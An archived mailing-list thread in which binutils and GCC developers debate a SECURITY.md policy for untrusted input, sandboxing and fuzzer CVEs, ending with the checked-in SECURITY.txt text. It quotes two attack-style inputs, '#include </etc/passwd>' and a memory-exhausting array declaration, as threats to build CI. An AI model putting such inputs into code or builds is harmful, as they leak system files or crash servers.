crash can be assumed in the worst case to result in arbitrary code 
execution.  Now whether that arbitrary code execution is security 
relevant depends on the context in which the bug can be exploited:

1. It could be through local access, in which case it is not security 
relevant because the user could run arbitrary code anyway

2. Untrusted local input (such as files downloaded off the internet), in 
which case it is security relevant if the application is hardened and 
designed to work on untrusted input

3. Remote input, in which case inputs are assumed to be untrusted and 
hence always security relevant

Binutils falls in 1. (for as, ld, etc.) and 2. (for readelf, objdump, 
etc.) and for case 2, it's upon us to decide whether we consider the 
tools hardened to work on untrusted inputs.  I don't think they are, 
which is why they need to be sandboxed to eliminate the security aspect 
of any bugs in them.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 13/04/2023 17:42, Siddhesh Poyarekar wrote:
> On 2023-04-13 11:05, Richard Earnshaw wrote:
>> On 13/04/2023 16:02, Siddhesh Poyarekar wrote:
>>> On 2023-04-13 10:50, Richard Earnshaw wrote:
>>>> No, whilst elf can be executed, objdump should never be doing that: 
>>>> it's a tool for examining a file, not running it.  You have to have 
>>>> a tool that can safely examine the contents of an elf file or you 
>>>> can never verify it for issues - opening it up in emacs to examine 
>>>> the contents is not the way to do that :)
>>>
>>> You can verify it for issues, in a sandbox.
>>
>> Maybe.  But not always, it might not crash the program, but still lead 
>> to issues once taken outside of the sandbox.
> 
> You don't analyze untrusted data outside of a sandbox.  Really, it's 
> security 101.

I think your definition of trusted and untrusted must vary from mine. 
And I think your expectations on users is somewhat unreasonable.

In my book any binary object obtained from the internet is /potentially/ 
untrusted.  That includes any object file that is downloaded from, say, 
a Red Hat server in an RPM package (even if it's been signed).  Are you 
seriously suggesting that every user should deal with every file as 
though it was completely untrustworthy?

> 
>>>> But all that is beside the point.  The original case I gave was a 
>>>> /corrupt/ elf file that caused a buffer overrun in the objdump binary.
>>>
>>> ... and that's a robustness issue.  Any buffer overrun in any program 
>>> could in theory be exploited to send out files.
>>>
>>
>> So what's your point?  These /are/ vulnerabilities in the program and 
>> need to be considered security issues.
> 
> I already made my point; I agree that they are security issues but the 
> security mitigation mechanism is in the environment, not the program.  I 
> do not think it is in the interest of the binutils project to guarantee 
> safety in analysis of untrusted programs without requisite protections 
> of the environment.
> 
> Sid

Any buffer overflow where the data used to do the overflow comes from an 
object file is a potential breach, unless the program can detect this 
and make a controlled abort before any possible break-out can occur.

The key here is defence in depth.  It's not enough to say that 
everything must be done in a sandbox, even if that is advisable.

R.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-14 05:52, Richard Earnshaw wrote:
>> You don't analyze untrusted data outside of a sandbox.  Really, it's 
>> security 101.
> 
> I think your definition of trusted and untrusted must vary from mine. 
> And I think your expectations on users is somewhat unreasonable.
> 
> In my book any binary object obtained from the internet is /potentially/ 
> untrusted.  That includes any object file that is downloaded from, say, 
> a Red Hat server in an RPM package (even if it's been signed).  Are you 
> seriously suggesting that every user should deal with every file as 
> though it was completely untrustworthy?

You're the one who's saying that you don't trust binary objects obtained 
from signed packages even after verifying the signatures, not me :)

The term "untrusted" has a fairly clear meaning in this context; it is 
one that is obtained from an unfamiliar source that is cryptographically 
signed (that you can verify) as being valid.

Binaries on your system and/or those that your distribution provides are 
deemed trusted because you verify keys at various stages to reinforce 
your trust in the contents.

Binaries that people send for bug reports are *not* trusted unless the 
medium they used to send the binaries (e.g. private bug reporting tool 
where only verified users get to post) is trusted or the user is trusted 
(through a verified/signed email).

>>>>> But all that is beside the point.  The original case I gave was a 
>>>>> /corrupt/ elf file that caused a buffer overrun in the objdump binary.
>>>>
>>>> ... and that's a robustness issue.  Any buffer overrun in any 
>>>> program could in theory be exploited to send out files.
>>>>
>>>
>>> So what's your point?  These /are/ vulnerabilities in the program and 
>>> need to be considered security issues.
>>
>> I already made my point; I agree that they are security issues but the 
>> security mitigation mechanism is in the environment, not the program.  
>> I do not think it is in the interest of the binutils project to 
>> guarantee safety in analysis of untrusted programs without requisite 
>> protections of the environment.
>>
>> Sid
> 
> Any buffer overflow where the data used to do the overflow comes from an 
> object file is a potential breach, unless the program can detect this 
> and make a controlled abort before any possible break-out can occur.
> 
> The key here is defence in depth.  It's not enough to say that 
> everything must be done in a sandbox, even if that is advisable.

They key is in what a project can feasibly guarantee and IMO the 
binutils project is not in a position to guarantee this level of 
security.  By putting this into SECURITY.md, we'll be signing ourselves 
(and downstream maintainers) up for much more than they can handle.

If the goal for being able to safely analyze untrusted binaries without 
sandboxing is desirable then the project needs to invest resources to 
making it happen, not make a promise first and then look for those 
resources.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 14/04/2023 13:43, Siddhesh Poyarekar wrote:
> They key is in what a project can feasibly guarantee and IMO the 
> binutils project is not in a position to guarantee this level of 
> security.  By putting this into SECURITY.md, we'll be signing ourselves 
> (and downstream maintainers) up for much more than they can handle.

No, that's covered by the warranty: GNU tools come with no warranty ...

What it is about is what we would do if such a vulnerability were 
discovered.

R.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-14 08:49, Richard Earnshaw wrote:
> 
> 
> On 14/04/2023 13:43, Siddhesh Poyarekar wrote:
>> They key is in what a project can feasibly guarantee and IMO the 
>> binutils project is not in a position to guarantee this level of 
>> security.  By putting this into SECURITY.md, we'll be signing 
>> ourselves (and downstream maintainers) up for much more than they can 
>> handle.
> 
> No, that's covered by the warranty: GNU tools come with no warranty ...
 >
> What it is about is what we would do if such a vulnerability were 
> discovered.

It's not about what we would do if a vulnerability were discovered.  It 
is about:

1. What is considered a security issue; this ties into contexts in which 
binutils tools can be used safely.

2. How users can report bugs they think may have security consequences.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Ian Lance Taylor]

On Thu, Apr 13, 2023 at 10:01 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>
> On 2023-04-13 12:49, Paul Koning wrote:
> > If someone sends me an executable file, and I execute it and suffer a virus, shame on me.  If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool.
>
> If someone sends me a C source file and I compile and link it without
> inspecting it first, then definitely shame on me again.  Compilers and
> linkers assume *trusted* input.

I profoundly disagree with this.

Compilers and linkers must behave in a reasonable manner when given
untrusted input.  Behaving reasonably can of course include failing
with an error message like "program too large", but they must not dump
core and they must not use up all available memory.  They very much
must not have a buffer overflow during compilation that causes them to
execute arbitrary code.  Users should not be expected to run compilers
and linkers in a security sandbox (though it would be acceptable for a
compiler to set up its own security sandbox if that seems useful).

Ian

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-14 13:37, Ian Lance Taylor wrote:
> On Thu, Apr 13, 2023 at 10:01 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>>
>> On 2023-04-13 12:49, Paul Koning wrote:
>>> If someone sends me an executable file, and I execute it and suffer a virus, shame on me.  If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool.
>>
>> If someone sends me a C source file and I compile and link it without
>> inspecting it first, then definitely shame on me again.  Compilers and
>> linkers assume *trusted* input.
> 
> I profoundly disagree with this.

I should reiterate that this is not about robustness, it is about 
treatment of bugs as security issues, i.e. by assigning CVEs and sending 
out advisories to the larger user community.  I am not arguing against 
fixing bugs at all.

> Compilers and linkers must behave in a reasonable manner when given
> untrusted input.  Behaving reasonably can of course include failing
> with an error message like "program too large", but they must not dump
> core and they must not use up all available memory.  They very much
> must not have a buffer overflow during compilation that causes them to
> execute arbitrary code.  Users should not be expected to run compilers

A compiler crash, core dump, etc. is definitely a serious bug and we 
consider them as P1/P2 in almost all cases.  However to be considered a 
security issue, the input has to be crafted and that's where the user 
comes in; their responsibility is to ensure that they don't build 
untrusted code (e.g. when they're trying to study malware or virus 
sources or binaries) outside of sandboxes.

The expectation is *not* that they always run compilers in a sandbox, it 
is that they're aware of the code they're trying to compile and IMO it 
is not an unreasonable expectation.  The odds of even minimally trusted 
code (like an upstream project) resulting in, e.g. overwriting or 
corrupting some persistent state (like some file on disk) or sending out 
private information due to a buffer overflow in gcc, ld, or even objdump 
is near-zero.  The code would have to be specially *crafted* (or the 
operator being remarkably unlucky) to achieve that.

If as a project we decide to treat untrusted input as a valid use case, 
it is going to shift the goalposts for binutils (and gcc, if we take the 
same stand there). I suppose golang does try to adhere to these higher 
standards somewhat but I am not well versed with their formal position 
on this.  I've seen them consider bugs due to untrusted regex inputs as 
security issues whereas even glibc currently doesn't, except for some 
very specific conditions.

The llvm project doesn't consider anything[1] a security issue at the 
moment.  I was told off-hand by a rust maintainer that the rust 
community also pretty much aligns with the llvm position, but I don't 
have a handy reference for it.

If binutils, gcc, etc. aspire to the levels of support that golang 
provides, we need to do what the llvm community is currently doing, i.e. 
form a security group and incrementally identify parts that we want to 
identify as security sensitive and provide stronger security guarantees 
for them.  My previous suggestion to do that was discouraged[2], so if 
that has changed today then we could move in that direction.

 > and linkers in a security sandbox (though it would be acceptable for a
 > compiler to set up its own security sandbox if that seems useful).

I suggested an --isolate flag for the analysis tools (objdump, etc.) to 
do exactly this elsewhere in this thread.

Thanks,
Sid

[1] https://llvm.org/docs/Security.html#what-is-considered-a-security-issue
[2] https://inbox.sourceware.org/binutils/YBD72RqjVomppMYS@vapier/

Re: RFC: Adding a SECURITY.md document to the Binutils

[DJ Delorie]

Ian Lance Taylor via Gdb <gdb@sourceware.org> writes:
> Compilers and linkers must behave in a reasonable manner when given
> untrusted input.

Are we confusing trusted with well-behaved?  I mean, if I download a
source tree from the FSF's git server, I trust it, but it may still be
ill-behaved.  Meanwhile, sources from a public mailing list may be
well-behaved but not trusted.

I'm only posting this because Carlos and I had long discussions about
this before we set up the glibc pre-commit CI.  This process takes
random patches from the public glibc mailing list, and builds them.
WHOA!  That's dangerous!  Yes.  The patches may produce well-defined
code, but are not trusted.  Those builds run in a tight sandbox to
mitigate any attack attempts.  Security here is outside the scope of the
build tools.  I don't expect gcc to scan for viruses or prevent people
from doing "#include </etc/passwd>".

Re: RFC: Adding a SECURITY.md document to the Binutils

[Ian Lance Taylor]

On Fri, Apr 14, 2023 at 11:27 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>
> A compiler crash, core dump, etc. is definitely a serious bug and we
> consider them as P1/P2 in almost all cases.  However to be considered a
> security issue, the input has to be crafted and that's where the user
> comes in; their responsibility is to ensure that they don't build
> untrusted code (e.g. when they're trying to study malware or virus
> sources or binaries) outside of sandboxes.

I believe I understand what you are saying, and I don't agree.

We live in a time where free software has succeeded.  People routinely
rely on gigantic libraries provided as source code by people across
the Internet.  10% of the projects on GitHub are written at least
partially in C++.  To argue that people should not even compile
untrusted code is to speak about a world that simply does not exist
today.  Very few people working on application level code can trust
their entire software supply chain.

This means that software development must be secure at every level.
We must not rely on the single layer of defense of trusting source
code, a defense that very few people can maintain.  We must defend at
other levels.

The binutils developers must play their own small part in this, which
is to assemble and link code correctly, and to not make the assembler,
linker, and related tools themselves into vectors for security issues.


> If as a project we decide to treat untrusted input as a valid use case,
> it is going to shift the goalposts for binutils (and gcc, if we take the
> same stand there). I suppose golang does try to adhere to these higher
> standards somewhat but I am not well versed with their formal position
> on this.  I've seen them consider bugs due to untrusted regex inputs as
> security issues whereas even glibc currently doesn't, except for some
> very specific conditions.

Yes, the Go project does aim to adhere to these higher standards,
because, in my opinion, they are the correct standards.

And, honestly, these are not standards that are unusually difficult to
meet.  Don't dump core, don't use up all of memory, don't have buffer
overflows.  Treat failures of this sort as security bugs to be fixed
ASAP in minor releases.  These are achievable goals.

Ian

Re: RFC: Adding a SECURITY.md document to the Binutils

[Ian Lance Taylor]

On Fri, Apr 14, 2023 at 12:45 PM DJ Delorie <dj@redhat.com> wrote:
>
> Ian Lance Taylor via Gdb <gdb@sourceware.org> writes:
> > Compilers and linkers must behave in a reasonable manner when given
> > untrusted input.
>
> Are we confusing trusted with well-behaved?  I mean, if I download a
> source tree from the FSF's git server, I trust it, but it may still be
> ill-behaved.  Meanwhile, sources from a public mailing list may be
> well-behaved but not trusted.
>
> I'm only posting this because Carlos and I had long discussions about
> this before we set up the glibc pre-commit CI.  This process takes
> random patches from the public glibc mailing list, and builds them.
> WHOA!  That's dangerous!  Yes.  The patches may produce well-defined
> code, but are not trusted.  Those builds run in a tight sandbox to
> mitigate any attack attempts.  Security here is outside the scope of the
> build tools.  I don't expect gcc to scan for viruses or prevent people
> from doing "#include </etc/passwd>".

I agree that GCC does not have to scan for viruses or strange #include
statements.

I am saying that you should not need to set up a sandbox merely to
build code.  Clearly if you want to execute untrusted code, some sort
of sandbox is a minimal requirement.  I'm only talking about building
code (and, for objdump and friends, inspecting code).

Ian

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-14 16:46, Ian Lance Taylor wrote:
> On Fri, Apr 14, 2023 at 11:27 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>>
>> A compiler crash, core dump, etc. is definitely a serious bug and we
>> consider them as P1/P2 in almost all cases.  However to be considered a
>> security issue, the input has to be crafted and that's where the user
>> comes in; their responsibility is to ensure that they don't build
>> untrusted code (e.g. when they're trying to study malware or virus
>> sources or binaries) outside of sandboxes.
> 
> I believe I understand what you are saying, and I don't agree.
> 
> We live in a time where free software has succeeded.  People routinely
> rely on gigantic libraries provided as source code by people across
> the Internet.  10% of the projects on GitHub are written at least
> partially in C++.  To argue that people should not even compile
> untrusted code is to speak about a world that simply does not exist
> today.  Very few people working on application level code can trust
> their entire software supply chain.
> 
> This means that software development must be secure at every level.
> We must not rely on the single layer of defense of trusting source
> code, a defense that very few people can maintain.  We must defend at
> other levels.
> 
> The binutils developers must play their own small part in this, which
> is to assemble and link code correctly, and to not make the assembler,
> linker, and related tools themselves into vectors for security issues.

I don't disagree with that as an end goal (I even suggested that in that 
previous thread last year), I think our disagreement is in how we get 
there in terms of policy, which is a result of that conversation from 
last year and from exploring how llvm and rust are handling it.

>> If as a project we decide to treat untrusted input as a valid use case,
>> it is going to shift the goalposts for binutils (and gcc, if we take the
>> same stand there). I suppose golang does try to adhere to these higher
>> standards somewhat but I am not well versed with their formal position
>> on this.  I've seen them consider bugs due to untrusted regex inputs as
>> security issues whereas even glibc currently doesn't, except for some
>> very specific conditions.
> 
> Yes, the Go project does aim to adhere to these higher standards,
> because, in my opinion, they are the correct standards.
> 
> And, honestly, these are not standards that are unusually difficult to
> meet.  Don't dump core, don't use up all of memory, don't have buffer
> overflows.  Treat failures of this sort as security bugs to be fixed
> ASAP in minor releases.  These are achievable goals.

Sure, they're achievable with adequate resources, but I'm not sure if 
the binutils project has that; that was in essence the conclusion of 
last year's conversation FWIW.  That of course is a question for the 
maintainers of the project.

Thanks,
Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Xi Ruoyao]

On Fri, 2023-04-14 at 13:49 -0700, Ian Lance Taylor via Binutils wrote:
> On Fri, Apr 14, 2023 at 12:45 PM DJ Delorie <dj@redhat.com> wrote:
> > 
> > Ian Lance Taylor via Gdb <gdb@sourceware.org> writes:
> > > Compilers and linkers must behave in a reasonable manner when given
> > > untrusted input.
> > 
> > Are we confusing trusted with well-behaved?  I mean, if I download a
> > source tree from the FSF's git server, I trust it, but it may still be
> > ill-behaved.  Meanwhile, sources from a public mailing list may be
> > well-behaved but not trusted.
> > 
> > I'm only posting this because Carlos and I had long discussions about
> > this before we set up the glibc pre-commit CI.  This process takes
> > random patches from the public glibc mailing list, and builds them.
> > WHOA!  That's dangerous!  Yes.  The patches may produce well-defined
> > code, but are not trusted.  Those builds run in a tight sandbox to
> > mitigate any attack attempts.  Security here is outside the scope of the
> > build tools.  I don't expect gcc to scan for viruses or prevent people
> > from doing "#include </etc/passwd>".
> 
> I agree that GCC does not have to scan for viruses or strange #include
> statements.
> 
> I am saying that you should not need to set up a sandbox merely to
> build code.  Clearly if you want to execute untrusted code, some sort
> of sandbox is a minimal requirement.  I'm only talking about building
> code (and, for objdump and friends, inspecting code).

In practice:

1. At least we need a resource limit on the building process or a simple
"int x[1 << 30] = {1,};" may blow up the server.  We cannot just make
GCC reject "int x[1 << 30] = {1,};" because it may be perfectly legal
(though bad) in other use cases.
2. For "#include </etc/passwd>", the risk is the passwd entries may be
contained in the error message outputted by the compiler.  It happens at
build time, not runtime.  It does not make too much sense to make GCC
"don't output any error message if the error is in some sensitive file"
because GCC cannot know a list of sensitive files on the system.  And it
also does not make too much sense to set an automatic build job w/o
providing the compiler error message.

So sandboxing is the only viable solution for the automatic build jobs
even if these jobs won't run any produced binaries.  If you are building
normally (manually), things may be different though.

-- 
Xi Ruoyao <xry111@xry111.site>
School of Aerospace Science and Technology, Xidian University

Re: RFC: Adding a SECURITY.md document to the Binutils

[Michael Matz]

Hello,

On Fri, 14 Apr 2023, Ian Lance Taylor via Binutils wrote:

> And, honestly, these are not standards that are unusually difficult to 
> meet.  Don't dump core, don't use up all of memory, don't have buffer 
> overflows.  Treat failures of this sort as security bugs to be fixed 
> ASAP in minor releases.  These are achievable goals.

These are all noble goals to reach for.  But the fact is that all the crap 
CVE entries from script-kiddies with their fuzzers are mainly fixed by 
Alan with his seemingly endless patience.  Downstream they are the cause 
of endless worries (as customers blindly _demand_ that all CVEs be fixed 
by checking tickmarks on an endless list of entries they've downloaded 
last week from mitre; just by virtue of the entry having a CVE number and 
hence "be a serious security problem").  All of these are bugs to be fixed 
eventually.  Literally _none_ of them are in any way a serious bug 
demanding an immediate fix.  Next release is completely fine for that.

The endless trouble is in either (a) disputing the CVE with mitre, or (b) 
discussing each of the entries with the customer of why it's harmless and 
so on or (c) to backport zillions of useless patches to multiple 
codestreams and (d) to rebuild all stuff with the new patched binutils.  
And _then_ multiply this by the overwhelming feeling of wasting lifetime 
on completely irrelevant, unrealistic and stupid problems that noone in a 
realistic world will hit.  Fixing the (e.g. buffer overflow) bug is good.  
Fixing it "right now because I'm important" is not.

Essentially fuzzers have destroyed any value of the CVE database (they are 
wonderful as bug hunters, don't get me wrong on that; but CVEs are 
meanwhile used as "I'm important, fix my bug right now!!!").  We as 
downstream for instance, since a long time, essentially defer all 
binutiles "CVEs" resulting from fuzzing to the next release of binutils 
(even though updating to new releases in old codestreams brings its own 
problems, they are just a lot easier to deal with than backporting 100 
"CVE" fixes, where each of them poses the danger of introducing an actual 
bug).

If it were me my SECURITY.md text would read "If you get a CVE from a 
fuzzed input we ignore you.  Report it as normal bug and stop hunting for 
a CVE-entry ranking record.", but I can see why that might be a bit too 
blunt :)

Sorry for the rant :)


Ciao,
Michael.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Ian Lance Taylor]

On Mon, Apr 17, 2023 at 8:31 AM Michael Matz <matz@suse.de> wrote:
>
> On Fri, 14 Apr 2023, Ian Lance Taylor via Binutils wrote:
>
> > And, honestly, these are not standards that are unusually difficult to
> > meet.  Don't dump core, don't use up all of memory, don't have buffer
> > overflows.  Treat failures of this sort as security bugs to be fixed
> > ASAP in minor releases.  These are achievable goals.
>
> These are all noble goals to reach for.  But the fact is that all the crap
> CVE entries from script-kiddies with their fuzzers are mainly fixed by
> Alan with his seemingly endless patience.  Downstream they are the cause
> of endless worries (as customers blindly _demand_ that all CVEs be fixed
> by checking tickmarks on an endless list of entries they've downloaded
> last week from mitre; just by virtue of the entry having a CVE number and
> hence "be a serious security problem").  All of these are bugs to be fixed
> eventually.  Literally _none_ of them are in any way a serious bug
> demanding an immediate fix.  Next release is completely fine for that.

That is definitely a fair point.  My argument here may be too strong.
I certainly agree that a CVE is not appropriate for a program crash.

Ian

Re: RFC: Adding a SECURITY.md document to the Binutils

[Nick Clifton]

Hi Guys,

   Right, I have gone ahead and applied a patch to add the SECURITY.txt
   files to the sources.  I realise that we may not have reached a final
   agreement on the exact wording, but I wanted to get the files in
   place now so that there is at least something there for others to see.

Cheers
   Nick

PS.  The text of the binutils/SECURITY.txt file that I checked in looks
like this:

Binutils Security Process
=========================

What is a binutils security bug?
================================

     A security bug is one that threatens the security of a system or
     network, or might compromise the security of data stored on it.
     In the context of GNU Binutils there are two ways in which such
     bugs might occur.  In the first, the programs themselves might be
     tricked into a direct compromise of security.  In the second, the
     tools might introduce a vulnerability in the generated output that
     was not already present in the files used as input.

     Other than that, all other bugs will be treated as non-security
     issues.  This does not mean that they will be ignored, just that
     they will not be given the priority that is given to security bugs.

     This stance applies to the creation tools in the GNU Binutils (eg
     as, ld, gold, objcopy) and the libraries that they use.  Bugs in
     inspection tools (eg readelf, nm objdump) will not be considered
     to be security bugs, since they do not create executable output
     files.

Notes:
======

     None of the programs in the GNU Binutils suite need elevated
     privileges to operate and it is recommended that users do not use
     them from accounts where such privileges are automatically
     available.

     The inspection tools are intended to be robust but nevertheless
     they should be appropriately sandboxed if they are used to examine
     malicious or potentially malicious input files.

Reporting private security bugs
===============================

    *All bugs reported in the Binutils Bugzilla are public.*

    In order to report a private security bug that is not immediately
    public, please contact one of the downstream distributions with
    security teams.  The following teams have volunteered to handle
    such bugs:

       Debian:  security@debian.org
       Red Hat: secalert@redhat.com
       SUSE:    security@suse.de

    Please report the bug to just one of these teams.  It will be shared
    with other teams as necessary.

    The team contacted will take care of details such as vulnerability
    rating and CVE assignment (http://cve.mitre.org/about/).  It is likely
    that the team will ask to file a public bug because the issue is
    sufficiently minor and does not warrant an embargo.  An embargo is not
    a requirement for being credited with the discovery of a security
    vulnerability.

Reporting public security bugs
==============================

    It is expected that critical security bugs will be rare, and that most
    security bugs can be reported in Binutils Bugzilla system, thus making
    them public immediately.  The system can be found here:

       https://sourceware.org/bugzilla/